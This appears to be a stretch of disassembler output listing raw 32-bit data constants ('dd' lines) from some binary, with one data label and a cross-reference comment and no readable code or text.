dd 62C65E13h, 0A67E8808h, 8EDC107Ch, 110C9460h, 0F605DFB8h
dd 81F09F5Dh, 2508D14h, 8EF44829h, 0E3238842h, 1205550h
dd 0D429C614h, 25F51294h, 0CE424427h, 618C48E9h, 35713359h
dd 1CE60150h, 0FD7318C7h, 0CBEDCD01h, 309C1093h, 0E29A8A10h
dd 0FF2599C0h, 3E679D4Ch, 0D0817114h, 7DD9A279h, 488980DCh
dd 528E601Dh, 0B2A10075h, 239537C4h, 210BBC34h, 8182206Dh
dd 5EC96050h, 0D99A3A00h, 0F94D61C0h, 60E852Dh, 7D5F5655h
dd 35E859D0h, 96BB6100h, 86AC515Eh, 0B60F00E7h, 0AEB3493Ah
dd 60B83B34h, 704A7020h, 3CB51AF0h, 10C3D09Eh, 0FD013BBAh
dd 58EF72EDh, 25100C18h, 0BE890542h, 945CD219h, 0F295540h
dd 63C17FDEh, 0D77DA1C6h, 3DBE9100h, 6619AF52h, 72CA1E1Fh
dd 0E738BB2h, 61D5B886h, 5F1143Fh, 871D49B9h, 34E258D7h
dd 0BAA4E016h, 75313061h, 0F07F7D18h, 92588B00h, 0E8595F21h
dd 10E0BA02h, 5CBD2DBEh, 0CDC49D14h, 8D42C7B5h, 5A63A0E5h
dd 7400A848h, 5C5BE988h, 70220861h, 66A9CCA8h, 19D08C82h
dd 0F8611DDEh, 0B3803D8Eh, 0E3A52ED8h, 3C05AF6Bh, 22331CB7h
dd 52A9DC81h, 0A544DC00h, 0C5D612Eh, 25EBA189h, 98209A4Ch
dd 741BDF1Eh, 429F00FCh, 3CC1C85Ch, 900060E8h, 20A85DF5h
dd 0B1DEBA7Fh, 91059BD8h, 8D68C0C4h, 11C053A1h, 0DC89B12Eh
dd 0AC30081h, 20D03F94h, 0DB03C7EAh, 6DFDE7B4h, 0D9A81D61h
dd 602E8F67h, 413907A6h, 0C95F232Eh, 0E6B0591Ah, 7DF51440h
dd 0E23D14A2h, 0B231C300h, 360B3F2Ch, 4C0F5500h, 34AD0523h
dd 7CBE0EEFh, 20737704h, 592D6598h, 3E028EF2h, 0C20EDB4Ah
dd 9C4499h, 740494A7h, 6DBF059Fh, 1F2A0F00h, 82A0A90Eh
dd 0F54D2692h, 33414010h, 98009F64h, 0BE2CEC5Eh, 1E0BF78Ch
dd 497024B0h, 209099C3h, 6300FA41h, 847A5D81h, 2660E295h
dd 1344A83Ch, 0F0D020A0h, 0E5000664h, 437A321Ch, 7C5CFC23h
dd 54AD0BA2h, 50218DEDh, 32F51C22h, 68451CA8h, 80C007DFh
dd 57A2A00Ch, 7F0601DFh, 8EEC88BEh, 1863A7h, 36A8139h
dd 26147BF6h, 86541B92h, 8950FFDAh, 52878099h, 76806DF8h
dd 9CBC27h, 0F7F9B368h, 600B4923h, 1164D449h, 7D04DC61h
dd 0B011CE03h, 5644E364h, 0C8294DDDh, 0B495ED08h, 0E4A23132h
dd 1E9100C4h, 0BFAC5AD9h, 0B64865E2h, 9C00E04h, 3CD39C5Dh
dd 590BB05Fh, 0E99CA7F9h, 0B9C9BD01h, 895D7188h, 59B59282h
dd 7E148161h, 0D980E0BBh, 0A00983F6h, 0A006689h, 17D427Bh
dd 0C5C9EDBEh, 10D27F48h, 2E2045Ch, 9EBDFD20h, 39609A9Dh
dd 5F4A5161h, 99CD100h, 206F06DAh, 955881FCh, 9398C284h
dd 96C05622h, 0AA72C207h, 0ADC17603h, 0AAED8F8Eh, 4A7464C3h
dd 0B2C1F9Dh, 38045C92h, 0BDC80202h, 0C1CC81Dh, 9D581976h
dd 603FE0BCh, 0C17EC0F0h, 55D4EA16h, 9FA08451h, 187CB91Ch
dd 771049DDh, 0DA9B2886h, 8CD6074h, 5F465706h, 0BAE840F9h
dd 862EC21Ah, 7D18C80Bh, 0C0AF8589h, 0E07582E1h, 467D12FAh
dd 4950A8F0h, 5135430h, 0AC02153Eh, 50268EBCh, 31C8980Ch
dd 5FF1ADCDh, 8A3F21Fh, 913D547Dh, 4139B45Eh, 2289CCD2h
dd 4FE10FCBh, 1D91BF85h, 793759C3h, 56842F80h, 21816A29h
dd 7459145Ch, 0C42A1E05h, 3184741h, 89E04AC6h, 0A40C6757h
dd 0A2886870h, 1308913Eh, 13F80756h, 3F66B35Fh, 0B0A08BA7h
dd 0D61D32E1h, 845AEA28h, 187CE944h, 41BC99CBh, 89DEE27Eh
dd 8D080A18h, 3E41DD03h, 0E595D32h, 0EBA7A8A0h, 50B2A5F4h
dd 0A12A5C86h, 0FA09A8C7h, 10810F7Dh, 0F64AEB4h, 2C7B724Eh
dd 411A3C23h, 0EC50C98h, 57938C26h, 638FCE00h, 77BDA987h
dd 969D3CAEh, 0C03CA33Ch, 34475700h, 45C8247Fh, 2B746C00h
dd 8CD1BDFAh, 0FF7D01DAh, 9B59957Eh, 20AAC4BEh, 5E969E24h
dd 5750B018h, 8C340E5Dh, 6C83DE41h, 0C8803F76h, 0D024A0E0h
dd 0D100DBD8h, 0ADBE9768h, 9CCE02EDh, 0C49D6ED4h, 63501FE0h
dd 418D7507h, 0C0CA34DCh, 7ED50448h, 485BF8A8h, 3F8F7609h
dd 71D800DEh, 7D0FE32h, 979B88E0h, 16A4E0E3h, 0BE1EB49Ah
dd 950020ECh, 1B39E6Ah, 475330E1h
dword_49005C dd 77D62540h, 41F3572h, 9B41C8F4h, 9DD4E6D0h, 19F59C4h
; DATA XREF: ___:off_427B6Co
dd 0AF89EB69h, 0D4568F84h, 0EF05B4h, 40329578h, 47C6DD7h
dd 8CCBC400h, 8BD8E4D0h, 93680798h, 9FECC26Fh, 895AA261h
dd 54E0E0C3h, 958B1100h, 1C77C93Eh, 6350973h, 3884CDC4h
dd 0AE948B42h, 73635D80h, 0D8002889h, 4746745h, 0CBC8F7h
dd 0DCDFD08Dh, 9758D19Dh, 0AEC7B400h, 639F87E2h, 0B36F0098h
dd 7B475AE1h, 9B002C94h, 2B412E30h, 0E0BEFEh, 0CAF09DC9h
dd 5E618EA2h, 0BE6853Eh, 938DDCh, 0E2016B74h, 75450C5Ah
dd 18402F87h, 0F93E4107h, 201FC9C8h, 0A389E0DCh, 0B05C076Dh
dd 7120F2C7h, 0E088688Fh, 0A000E2B3h, 417B755Ah, 21A479Bh
dd 0D2F93D78h, 8CCDCFC9h, 0E59F405Dh, 34004E5Ch, 45C92489h
dd 0E307119h, 0D00DCE08h, 87E3CB22h, 0C8BD8C00h, 3D91FAF3h
dd 0B0001597h, 4E5EAEB4h, 7300946Fh, 7A2E38E0h, 0C5F834h
dd 0DB9395CDh, 5A97901Bh, 0C2AC5C00h, 0FA8DDED5h, 0C3A33802h
dd 4AA0DF00h, 0DA2E8C76h, 7D294B00h, 0EBB0904h, 0C9D00089h
dd 679E9CE4h, 0B300AA5Ch, 93A2DDAEh, 0B4A158h, 3DA0ACBDh
dd 9B408F7Ch, 75353903h, 97C0CB3Fh, 1BEBD1A0h, 44ACB0A2h
dd 8505C7A1h, 69976795h, 46F8824h, 3E92C0FEh, 78E9F9h
dd 6F22F746h, 7203353Ah, 34738A29h, 0EEFE0056h, 7631674h
dd 2F002972h, 666A6EE9h, 0AE26C0B6h, 0A87D131Ch, 2630B45Fh
dd 12A7DB40h, 0A0CD48DFh, 0EC392880h, 83039FAAh, 9B38DDC3h
dd 0B64100D7h, 5D08CB8Bh, 3F2D6672h, 0CC1C8655h, 941C0021h
dd 2576EFCBh, 50BEB67Fh, 9D495F82h, 225CF236h, 700FCC3Dh
dd 8031C481h, 0DDD9A572h, 6541916h, 402D808Fh, 0C6ED5860h
dd 85022507h, 321587A8h, 3521C62h, 0F10041D2h, 0DA9951B6h
dd 1EAD99Eh, 8E0E0BBAh, 2B41C603h, 78107000h, 607E118Ah
dd 30BD69DFh, 55051384h, 5CDA5F16h, 0C3C54CE0h, 8438A321h
dd 0AB40A980h, 958FA600h, 921E5F0Bh, 0C93118C3h, 0BF7F9165h
dd 3E805452h, 3F3F2151h, 0DA17CDA2h, 6C80BC06h, 639161BAh
dd 97D4077h, 2041A290h, 905F523Eh, 1045381h, 3C665CEh
dd 0A5B232E3h, 50BD6001h, 2883466Dh, 0E05D37FAh, 9457B901h
dd 7D56E312h, 9A004A2Bh, 65EA43D0h, 111E9D0h, 56D32900h
dd 59B63AFFh, 903E61CCh, 0F6D1D5D4h, 27131840h, 3F01B400h
dd 0E05ACBAh, 0FC78E1A5h, 42EA10h, 6022F9E4h, 1BC27F2h
dd 233A7D8Ch, 2B3493F6h, 0D168F420h, 46FE13D6h, 0A08E27Dh
dd 4861072h, 0F5F9030h, 0BDCD2F8Fh, 0DD04C48Eh, 854C983Ah
dd 5D0ACB08h, 40D1C4A2h, 0E6CB8E16h, 15070791h, 305A55ABh
dd 0DBEA1D58h, 0B5F2C1Ch, 83E17F40h, 2AF58D03h, 947CF4h
dd 343B8F54h, 0B0E48A94h, 5029D02h, 7C9A9265h, 22FD800Ch
dd 9474D138h, 605FDF1Dh, 83626BC0h, 0A1A5CDh, 0B2ED78A2h
dd 5CB1615Dh, 222FD0A0h, 0FB8EE0EFh, 432410C1h, 0D822F606h
dd 970B6A05h, 9F4E486h, 217609CCh, 97130E4Ah, 0FC813A73h
dd 3E0CB056h, 51BC8C07h, 77036454h, 49C15C8Ch, 12C2482h
dd 0A4EDE62Ah, 87AD3307h, 0B0CAA8D2h, 2260EA02h, 603B0443h
dd 770BCB86h, 0D2448C5Dh, 0CB8F0017h, 0BF253C61h, 0E10126CDh
dd 3072DE56h, 509121F0h, 0CBC29C37h, 316A5D07h, 931B10CAh
dd 5E7A01CBh, 0C3BDC70Dh, 0D5B09899h, 0EE595D21h, 1C89973Eh
dd 8C003459h, 0A561578Dh, 0F8BE48Fh, 2EAC96F0h, 6003A49h
dd 1D66B25Dh, 0A24CD098h, 1363808Ch, 9BA2F1Fh, 0C286C1F2h
dd 4B6E4050h, 1F0B0321h, 60D08053h, 5F230447h, 403AA106h
dd 35FCA496h, 714A012Bh, 315D2213h, 7FEC50AAh, 0DB0294E8h
dd 29568BCFh, 84345ED1h, 0E9A05938h, 19FD0824h, 6EC40CCBh
dd 0A74EBE38h, 0F40D7095h, 0D00E71EAh, 0DAC7CFC8h, 4BCC4AF0h
dd 666902A0h, 5530D510h, 30342C69h, 86455DA8h, 0A9BE6020h
dd 88183538h, 5D05CB08h, 40CEC47Ah, 0C9CB9119h, 60A812B3h
dd 358F2C4h, 0F594D7DAh, 0E4699156h, 59BCF083h, 787C6FB1h
dd 349AED7Fh, 0E096C41Fh, 0CF19EE84h, 745A78D2h, 8EBE4174h
dd 30C10497h, 0C8004FE1h, 0D50D7342h, 48D879FDh, 8E88302Ah
dd 5927BA39h, 86986061h, 38960E22h, 2EA0CBE2h, 0C5DC269Bh
dd 6981F437h, 0B79F608Fh, 2519E1D7h, 0A460292Fh, 0ABEC9D55h
dd 607812B5h, 1C9A3847h, 1257E74Eh, 7254F42Dh, 99DE9FCh
dd 0D640A4E0h, 29000312h, 8BE0792Dh, 0DE6235CEh, 610E7318h
dd 0C180708h, 187971Eh, 7211E3h, 0EE97144Bh, 25ED7A5Ah
dd 98E8A22Eh, 981DE949h, 0B103E84Bh, 0B73032B5h, 5ED1A040h
dd 267701E7h, 10D6DC1Ah, 7C32F6h, 9ABE069Bh, 0EA5F2Eh
dd 6D9831C8h, 67C20A3Bh, 0D2548009h, 64508EBEh, 50B9D82Dh
dd 845C9D10h, 0D501C8BDh, 0A8D805DAh, 8F46C091h, 341F1006h
dd 0C0A65CBAh, 1054E44h, 9DAB1F08h, 238854E3h, 0CE3D1000h
dd 523F502h, 0F884E0FAh, 8778ACFEh, 90E4521Fh, 0C38070E8h
dd 0B10F9471h, 9F9B7F00h, 44C0C220h, 19800217h, 5BF13A61h
dd 4CA6485Ch, 0BA00B0A4h, 3288A537h, 76DEFA22h, 7C5C4903h
dd 825EE309h, 0D811ECD9h, 32B62C00h, 0D4EB93BCh, 0A0CCE135h
dd 82E4FC08h, 0DAD9F5ACh, 7DA08209h, 8358E014h, 0ABA50009h
dd 55928F8Dh, 1D4D1A23h, 0D4B11014h, 0C086A81Ch, 515E9003h
dd 0BCA45D01h, 4386BDEEh, 9323E9h, 0BA301F14h, 4486C1EAh
dd 0C1C0150h, 7E5CD51Fh, 0A9BE0345h, 0B7C19CD7h, 0E0255DEDh
dd 0CB8D7DDCh, 0A89777D1h, 298EC891h, 0CA757F40h, 0C0002630h
dd 20FA7AD8h, 23A0C5Fh, 0E8B5A5ECh, 0A4604616h, 0D10EFF91h
dd 32DDEE01h, 3251984Fh, 0CC23E0F1h, 1CAF6F00h, 83E94275h
dd 600AE01Dh, 806B0949h, 727C0544h, 128E05EBh, 0D1E528D5h
dd 0E18134D0h, 9C020DCh, 9706048Ch, 62170189h, 0E452078h
dd 0C8065A97h, 8B5DE33Ch, 1009819h, 0C3957D8Dh, 33712D31h
dd 0DE1F10B0h, 24561Ch, 0F78D88C1h, 770FEEC9h, 0C515B8Fh
dd 24EA3073h, 0A870E9F4h, 0E56101C0h, 0EDBEDD75h, 200F6F29h
dd 0A7D0399Ah, 0CCA29073h, 3CD7730h, 0A0C2287Fh, 58B2EF31h
dd 0C07A5889h, 0D2AF5D12h, 0FBA6F404h, 0A510C414h, 27FC00D7h
dd 5746441Fh, 0E8125CB2h, 0E289040Fh, 86BC28E2h, 80D3A041h
dd 0F6665528h, 607DD554h, 0D91DC0C9h, 0C7F8E8Fh, 0BDFD5205h
dd 0F8C89772h, 84048C39h, 9A5D09CBh, 1520D062h, 0E2CB8Dh
dd 0CD70694Ah, 8B033109h, 280E5E24h, 0CE85AE02h, 2198E865h
dd 700D645Fh, 511E5E82h, 30406257h, 2A8E0FA7h, 0D15D2D38h
dd 10792049h, 3EC7539h, 205F9FA2h, 90A8B12Fh, 0C1039AF7h
dd 0BA293369h, 0F0CEB5DAh, 0EEC17588h, 236F9B2Dh, 21C8550Ch
dd 0EBF44D4Fh, 92917300h, 0E1FCFDA1h, 0A0B999h, 0CB78649Eh
dd 6E007219h, 6803A974h, 1A4A62h, 8B85B75Fh, 0EB106AE1h
dd 0C555F414h, 0BCCC49C0h, 0E33308B0h, 0A878B57h, 715DAA0h
dd 380B38ADh, 6CD1E460h, 2B52208h, 13EF61B6h, 820EA076h
dd 0FCCC6A83h, 0B8EB06C0h, 0C85925B9h, 83F64480h, 8A15880h
dd 737820EAh, 383C7E02h, 0E031F333h, 8172C528h, 74063F7Ch
dd 116E71h, 5894F07Fh, 0F75521BAh, 2727E23Dh, 0FA7466C7h
dd 0D9BC3D5Dh, 1B18B180h, 73388B05h, 24185548h, 863DA610h
dd 599149BAh, 6DD42689h, 5E30AEF0h, 29004646h, 14FBC551h
dd 0FC17B5C6h, 10651119h
dd 0C0082008h, 188970Dh, 0E0480F4Ch, 7297154Ch, 0FC6B00A4h
dd 9421C45Ch, 0F090B9EBh, 72DC0B48h, 13D5B840h, 0B74DA550h
dd 5D1907F8h, 9C16FC3h, 0AC63AA3Ch, 35217405h, 0E8BC0064h
dd 53AFC513h, 0D0050E78h, 8C07CE1Bh, 0E2809CBCh, 93E16F8Dh
dd 19998003h, 0D076D545h, 3B8A954Fh, 0DB13F522h, 270B24Dh
dd 28430306h, 2F90442Eh, 0C445C17Fh, 48A45300h, 3144DFDh
dd 123F3944h, 0A5C9C2A6h, 681C3BB4h, 2DC048ECh, 46551084h
dd 1C6221Eh, 988435A0h, 0F87BED63h, 0AD046ACAh, 57B9315Dh
dd 3C290F0h, 0A85CDF68h, 84D43D29h, 887CCE00h, 0CA60CEC4h
dd 20C931Dh, 9CC32A01h, 95C6031Bh, 0F5127828h, 0F0980E58h
dd 73AB8400h, 0CE17030Eh, 0B821B529h, 20393F85h, 9010C23h
dd 2F018C97h, 48B01828h, 9C3E9711h, 1328FD2h, 6961E32Ah
dd 83D02E88h, 56F4012Ch, 0F551BBBCh, 54188480h, 0D0A0C9CDh
dd 5621321h, 4360D07Fh, 0CD90F46Dh, 2CEDE348h, 0C2938044h
dd 83CBDC27h, 745F9987h, 3D312D11h, 3BD41C60h, 83898501h
dd 795E9CC2h, 15232872h, 0F843401h, 0AC4E3655h, 843C9F00h
dd 39F7E760h, 64AB672Dh, 0C061001Ch, 0C2CEC905h, 780320B4h
dd 976611E5h, 6310C007h, 7F4313E2h, 0BD8CD0BAh, 725C9158h
dd 0CB8184ACh, 7F21DCF5h, 0D1F859A9h, 112184Ah, 5F78932h
dd 2955E3B3h, 0EE61046Ch, 0BD0BB9C1h, 0D2635985h, 38A49E6Ch
dd 1F0E608Dh, 9C889F32h, 603E038h, 92E45E1Fh, 42E21116h
dd 0CC4F78A0h, 6D069D9h, 8E23EF43h, 331F0F01h, 304812BAh
dd 7048851h, 40A41F00h, 23453368h, 6D59105Dh, 4F241774h
dd 0CF23483Ah, 9E95B600h, 21F9CA5h, 49A8793Dh, 8F058425h
dd 74E49416h, 0A45D130Fh, 26D70518h, 39386B22h, 0DF4C0340h
dd 0A0DE571Ah, 400D49B9h, 215AF466h, 9A29A8C1h, 513900FFh
dd 0CECA858Bh, 12126CE9h, 4440CD7Dh, 24BEA0F5h, 485C00AEh
dd 6315CEFEh, 0A501AC51h, 292D178Ah, 0AC72DB80h, 0D47C084Bh
dd 7802318Fh, 257FE078h, 14036DBEh, 3100CE7Eh, 71611306h
dd 0E24F7A8h, 45521F2Dh, 688A6E00h, 8454F510h, 5A0090E0h
dd 0B9955C5h, 14030A60h, 9CE1D9EEh, 0D195273Ah, 0BD05E41Eh
dd 0C2505E66h, 44E46138h, 2E902A5Ch, 9003E016h, 404CA17Dh
dd 2061F431h, 29004A2Dh, 0CCE0F4C3h, 0C06E5A37h, 573826A9h
dd 7F0984B4h, 84A485E8h, 0A610554h, 0F701F497h, 496E448Ch
dd 84971201h, 80E9610Bh, 0B0775F0h, 0E5CE02EAh, 0DB1DA460h
dd 819FED90h, 2490C14Ch, 34F88DF8h, 2E4932F4h, 6D233Ch
dd 0B88D69B2h, 301B73Fh, 425D769Dh, 203C0159h, 0A9D55407h
dd 0FC1D0BA8h, 96804C91h, 1C4BB77h, 0AE452901h, 2151B995h
dd 8508097Ah, 0E0AFECB7h, 0BA16FB2h, 0E2FDCE01h, 29163458h
dd 50B4524Dh, 89AB205Ah, 7220CCB0h, 5F230BCFh, 0C40E949h
dd 0A7179C09h, 8B6E8A5h, 0FE9D363Dh, 7AAE014Bh, 21153A8Dh
dd 7F54011Ch, 0C4E86C72h, 0D4810B34h, 0F7C05F56h, 0F04B46D2h
dd 0AEFAA1h, 3805140Dh, 31494472h, 0A47A5E44h, 948000F8h
dd 48D40975h, 0C01D017h, 6F0A4591h, 0FEE4136Ch, 22EA4EDDh
dd 3CE012CCh, 4925BC34h, 0B21809C5h, 4080F4C0h, 9E2F2942h
dd 2B020300h, 0A8B7A213h, 62E325ACh, 6743B851h, 691EC8D4h
dd 0A716003Ch, 0E8059643h, 0EF38CA61h, 0CC762E58h, 788EF404h
dd 4BA290F3h, 2B6A530h, 0B9BA19DBh, 44F8B531h, 4502DA18h
dd 3E3DF029h, 0BCAD4EBh, 0ACD910F8h, 51025D07h, 0BFAA2190h
dd 12760064h, 93A14C7Bh, 0E9176558h, 40090CE2h, 1EC44A2h
dd 35E167ECh, 0C44950CCh, 6A098EACh, 514523BCh, 95D9700h
dd 1C025195h, 10C12233h, 3118079h, 11619A93h, 0B8D68236h
dd 5E60185h, 0BCF674F0h, 495E04CCh, 0AC609575h, 9C38C90h
dd 7180F79Bh, 95E8F78h, 56001B88h, 2589D420h, 3A576D06h
dd 28820BB7h, 0CC7B50CEh, 378B84DCh, 0BCF29Ah, 4107B67Ah
dd 22943C29h, 659F4700h, 28DE5F0Ch, 94FE75EDh, 9203804Ch
dd 0CE05550Dh, 2E34Bh, 207BF573h, 0DE4226BCh, 0A717B7A0h
dd 594D4702h, 806196A3h, 0FC2A12BFh, 0B2511C26h, 3C49CA73h
dd 1E68B84h, 77F538A3h, 80842A59h, 550C8431h, 5864943Eh
dd 8400399Ch, 1F0A74C3h, 3E02236h, 0B92AE34Bh, 0E90CDB99h
dd 1A730147h, 12B30B95h, 0ECE0252Ch, 9B07D383h, 0E0556DDh
dd 6410C789h, 1020604Fh, 9D51125Fh, 9A004A37h, 0D23C0040h
dd 6F38D9F1h, 967D3277h, 7422062Eh, 47467Eh, 14C10108h
dd 983093ECh, 33373D2Fh, 25CD8F84h, 0B228F3CEh, 27F530C9h
dd 0A0402AE5h, 585FE5CAh, 16140038h, 4F1EC1A3h, 0CE2F8398h
dd 9BF44081h, 4BB92461h, 2CE5C96Ch, 0D46077E4h, 0E20E1CB5h
dd 573DCD54h, 7B2D1421h, 0B98D2868h, 25AC38B1h, 21CC403Dh
dd 76F30355h, 0F4EAF5A8h, 6869A6DAh, 63DF10E1h, 0A04A3BE7h
dd 53863985h, 79680D6h, 2177CD5Fh, 844370C9h, 3417CF0h
dd 69D9F5CEh, 2C522C0h, 0F8552095h, 38C046B0h, 0BC86611Dh
dd 0FDDC8278h, 9A03D0C1h, 888900DDh, 7A787319h, 8131A93Eh
dd 0CCB18096h, 69446008h, 18E895A2h, 0B4007816h, 44E9C57Fh
dd 90828622h, 0F5232CDDh, 49A8023Ch, 94808595h, 0E011EDD6h
dd 5974A0A4h, 0DE0D2086h, 0A45D0B01h, 2B5E7AD8h, 7460EF21h
dd 38B8072h, 40078D2h, 0BE09985Ah, 0D7F8A889h, 9198BE9Dh
dd 0CB87803Ch, 0B4925D0Ch, 901858C0h, 7173CB01h, 7D112A81h
dd 7B983Dh, 3C4F8228h, 495D07F9h, 0B840552Eh, 0CD0854A6h
dd 59DA047Ah, 5A3782BAh, 93FD5CC8h, 17BC0E40h, 44827D51h
dd 0C1AE8958h, 5371C0h, 95FF855Bh, 0DB9EF835h, 0A90D32C0h
dd 1C6BB867h, 9EE60E2h, 0DC65DA01h, 1D60C5E4h, 55F42B1Ch
dd 0F9BB5E00h, 35EDBF06h, 134BCB9h, 0C228ACE3h, 0B5CF4087h
dd 3269FD61h, 11901DD8h, 0EA9880D3h, 0A4623851h, 30F5FAB8h
dd 4270B791h, 1092A561h, 0B9AF5609h, 0E4F4C5D5h, 515760D0h
dd 27EC0228h, 0D5EE80E7h, 0A7245C50h, 8108A420h, 9D5D01D4h
dd 0CCADED86h, 0A090FBA9h, 914F5921h, 0A12702B3h, 60DF8ED9h
dd 84E3A56Ch, 91B41595h, 641F80CEh, 5F575D6h, 3889F856h
dd 5D700358h, 88123BB7h, 5CB246A5h, 0DA2E5122h, 15444404h
dd 0C1F80B2h, 0A5AE802Fh, 0E1D902E9h, 18A9E200h, 985CBA96h
dd 9A340835h, 4E38DDE8h, 70C2349Ah, 0AC805A8Dh, 0CE019D41h
dd 5F80397Bh, 6103131h, 0A740C7B0h, 703802A1h, 0A30CB10Ch
dd 5B5CFBE6h, 0F86E8ED0h, 0F672B602h, 836978FCh, 9C8DDE8h
dd 52654989h, 0C78520E8h, 0BD061684h, 23743ED5h, 480124Fh
dd 27755F8h, 0F815CD5Eh, 94424CC8h, 2F414C3Ah, 2951C460h
dd 0F0038150h, 4082978Eh, 804F752Ch, 9B6976DBh, 55300230h
dd 0B27D0486h, 3073F2A0h, 94FA0ABFh, 1EE080E0h, 8DED5512h
dd 0DA9BE845h, 0AD270FCh, 3305BF0h, 0DA57383Ah, 0E88D1126h
dd 210E74A4h, 0D65022Fh, 98D4540Eh, 3387218Eh, 7454BC5Ch
dd 1397A0A4h, 0FD59F010h, 0ACAD00A3h, 0D6BB212Eh, 3395D47h
dd 84132D8Fh, 33611418h, 2E55F084h, 9EC02499h, 2E88843Bh
dd 32FC4EF2h, 2F301040h, 55121184h, 80D2880Eh, 6A8437A2h
dd 0EC4A19C4h, 0B83A0034h, 0A61C7523h, 185538C9h, 0E63EBBE0h
dd 8173EA51h, 0E0243029h, 13B45688h, 0B4DD49A7h, 0BA0C3A3Ch
dd 10899D31h, 1029788Bh
dd 472E951h, 1E8AFD56h, 610004EAh, 5DA44D6h, 0BC34B4h
dd 0ED88EC8Dh, 1052721Ah, 95212098h, 0C8DA905Eh, 3038A841h
dd 0CA695A91h, 0B866F4h, 0E989D4EEh, 0CAA443D6h, 747120C5h
dd 57070713h, 8959BBCAh, 9D045629h, 0B6096006h, 0F1DBE851h
dd 3D58B104h, 0C5B117CEh, 0C6EE143Ah, 0BE010DF4h, 0EC68AD11h
dd 0D73EA149h, 0AC8F2C7Ah, 142A8601h, 0D0485CE3h, 67C20134h
dd 2276D23h, 206E2B7Dh, 56790302h, 2460055Fh, 1E89D171h
dd 23202F2Ah, 0B39D0072h, 3167CC9h, 0B7E5C613h, 4BB904D1h
dd 0AB4A5908h, 804BE0C9h, 73C0C888h, 2F5E5D9h, 12DD78E7h
dd 0C860368Ch, 3080CC69h, 93E013A4h, 4D5404C3h, 2228A2D2h
dd 8F04148Ch, 5AC44C56h, 3DA44C2h, 21F8B4h, 22140755h
dd 0C3B956FCh, 7A7D3117h, 28D1E435h, 0F8BF9469h, 0F50CAA0h
dd 0C88491FCh, 0B8A07180h, 90C20529h, 853A138h, 0B68EE45Ah
dd 48B529F5h, 86730D20h, 0C4B4D14Ch, 0FCC837B5h, 74CB431Dh
dd 15ECC9C0h, 21C3C39h, 564EF52Fh, 50B15EE6h, 0BC28106Bh
dd 6DC0C487h, 207B32CFh, 0DAA9B601h, 0BF75580h, 857C6EF4h
dd 81351086h, 2D947248h, 1154171Ch, 0A0B18051h, 50D7DB5Eh
dd 44E1D494h, 0DD7D2E48h, 0C791A893h, 88031E12h, 61185D90h
dd 0FD3845B5h, 2EF51FC5h, 0F7302A6h, 0BC820B33h, 2F204B85h
dd 93B8DCEh, 6D1159BCh, 0D08EEC10h, 46E0FF44h, 0E8E048DAh
dd 661F8CC5h, 6B808FD8h, 0FC2ABC5Eh, 7DDD0C27h, 0BF29E37Ch
dd 0EED9EF02h, 44BBF34Eh, 20B46C8h, 18B9708h, 88C727h
dd 0D3971047h, 0BC052B28h, 0CFF034F9h, 41C6F82Ch, 0FD5C413Dh
dd 7DD822CCh, 908C4640h, 4608248h, 98EDEE88h, 80013116h
dd 0BE7FDC5Ch, 4B6EC09Eh, 7D64E857h, 61084AEh, 8C88D546h
dd 311F0DC0h, 0C22221BAh, 2004D91h, 0BDE01F05h, 0CB00D447h
dd 3905797h, 0CF7E0F94h, 4901DC0h, 0FBB2595Fh, 0F910B414h
dd 0DD7416D5h, 78C870CBh, 0F1150DC0h, 70080455h, 0BE943726h
dd 85F69C04h, 497437AFh, 98400076h, 58208E49h, 0D70B86D3h
dd 2CB0C375h, 98ABC79Ah, 7EB900CFh, 0B2072813h, 1CE7C171h
dd 0ACC44C90h, 6A410001h, 870E0CF9h, 3300233Ah, 0B507DA68h
dd 2D08D283h, 2C247D59h, 48E9A2h, 0AD1DA7BBh, 5ADA5CB8h
dd 0AA58203Eh, 1500DBCCh, 51423681h, 0AACBBD0h, 9DAFAA9h
dd 870C45C8h, 7AED40A5h, 0FF5B4D28h, 0E5F9442h, 8440E032h
dd 8D8C1209h, 15FC0902h, 179FCC78h, 87D19118h, 85D3B91Ah
dd 0E12CE0C7h, 32F901FCh, 7C30209Ch, 26C03078h, 0F6EF8F12h
dd 9E180B6h, 0AA58F03Dh, 5A396313h, 1275E408h, 21508D87h
dd 72CDA8h, 554190h, 0E279CF0h, 0E24A22D5h, 0BCB40400h
dd 5F865D69h, 67F112FBh, 8088DB5Eh, 39220DB2h, 5E0B01AEh
dd 7810B8CCh, 4624688Fh, 495F09ACh, 29F4A285h, 0C5AC6D1Dh
dd 597C801Dh, 0A45C85CDh, 7FC20158h, 0C8EB4FABh, 0B4473FF4h
dd 0CC465E58h, 959C91Fh, 0E0F94224h, 0A18D079h, 0AB770604h
dd 4EBB227h, 0D8890Ch, 53542845h, 80A34883h, 8658E30Dh
dd 0FCECF4F9h, 1527C97Ch, 5C727Eh, 32518BF9h, 0C5B39346h
dd 0B7DBC03h, 0A034ACE3h, 3094CF5h, 4044309Dh, 37886105h
dd 0E14C7902h, 8C76E8B4h, 2D4B201h, 9B5EE9F6h, 9A00EC22h
dd 0C4C204DAh, 3D1E054Ah, 0B1D85D65h, 1D22612Eh, 1DEA0254h
dd 5F9DD65Fh, 0AC954354h, 10E03CA3h, 0ED27CDADh, 78C0C9CAh
dd 0ADE17C26h, 0A919FCCBh, 0F803B209h, 0E460E5B6h, 479560D0h
dd 90B84B7Fh, 8B786EC0h, 0FEEC10B7h, 85D40040h, 20F906ACh
dd 5E00DE2Fh, 9A56F613h, 96F50812h, 0AF348720h, 0F2011020h
dd 910004F1h, 0E228A421h, 9256987h, 1693B76Dh, 0CF11CCF6h
dd 3D0FF00h, 17CA159Fh, 75025D0Fh, 683B20F1h, 7F3776AAh
dd 0E404B792h, 0F2F4E2D2h, 0B9D430C9h, 27D88F38h, 905110h
dd 338E6384h, 6A00E266h, 318FC4F7h, 0EBDA17h, 0A5AB5D58h
dd 0B60D1FE6h, 49935917h, 702F1417h, 0E900C923h, 0B9232E36h
dd 986D28EDh, 0C9F512D9h, 610425DAh, 296138E0h, 0F5C3D18h
dd 0E2176996h, 0D4CA23BCh, 76465EECh, 8A8332Ch, 1938D5E9h
dd 0D21001DCh, 0FDDB4500h, 0C021444Bh, 0C8CF048Eh, 155FA35Dh
dd 8420030Ch, 8AD7DA80h, 0E49D0E72h, 201F07E0h, 0C3663590h
dd 0E61202EEh, 0BC8C0CDAh, 0C7D038EFh, 8B03DE01h, 4006DB44h
dd 412F2120h, 3012D30Eh, 0C4080298h, 7984594Ch, 24A1871h
dd 0B2730F0Bh, 5CA1B5B7h, 7C1CB9EAh, 8C47B844h, 0B59D7303h
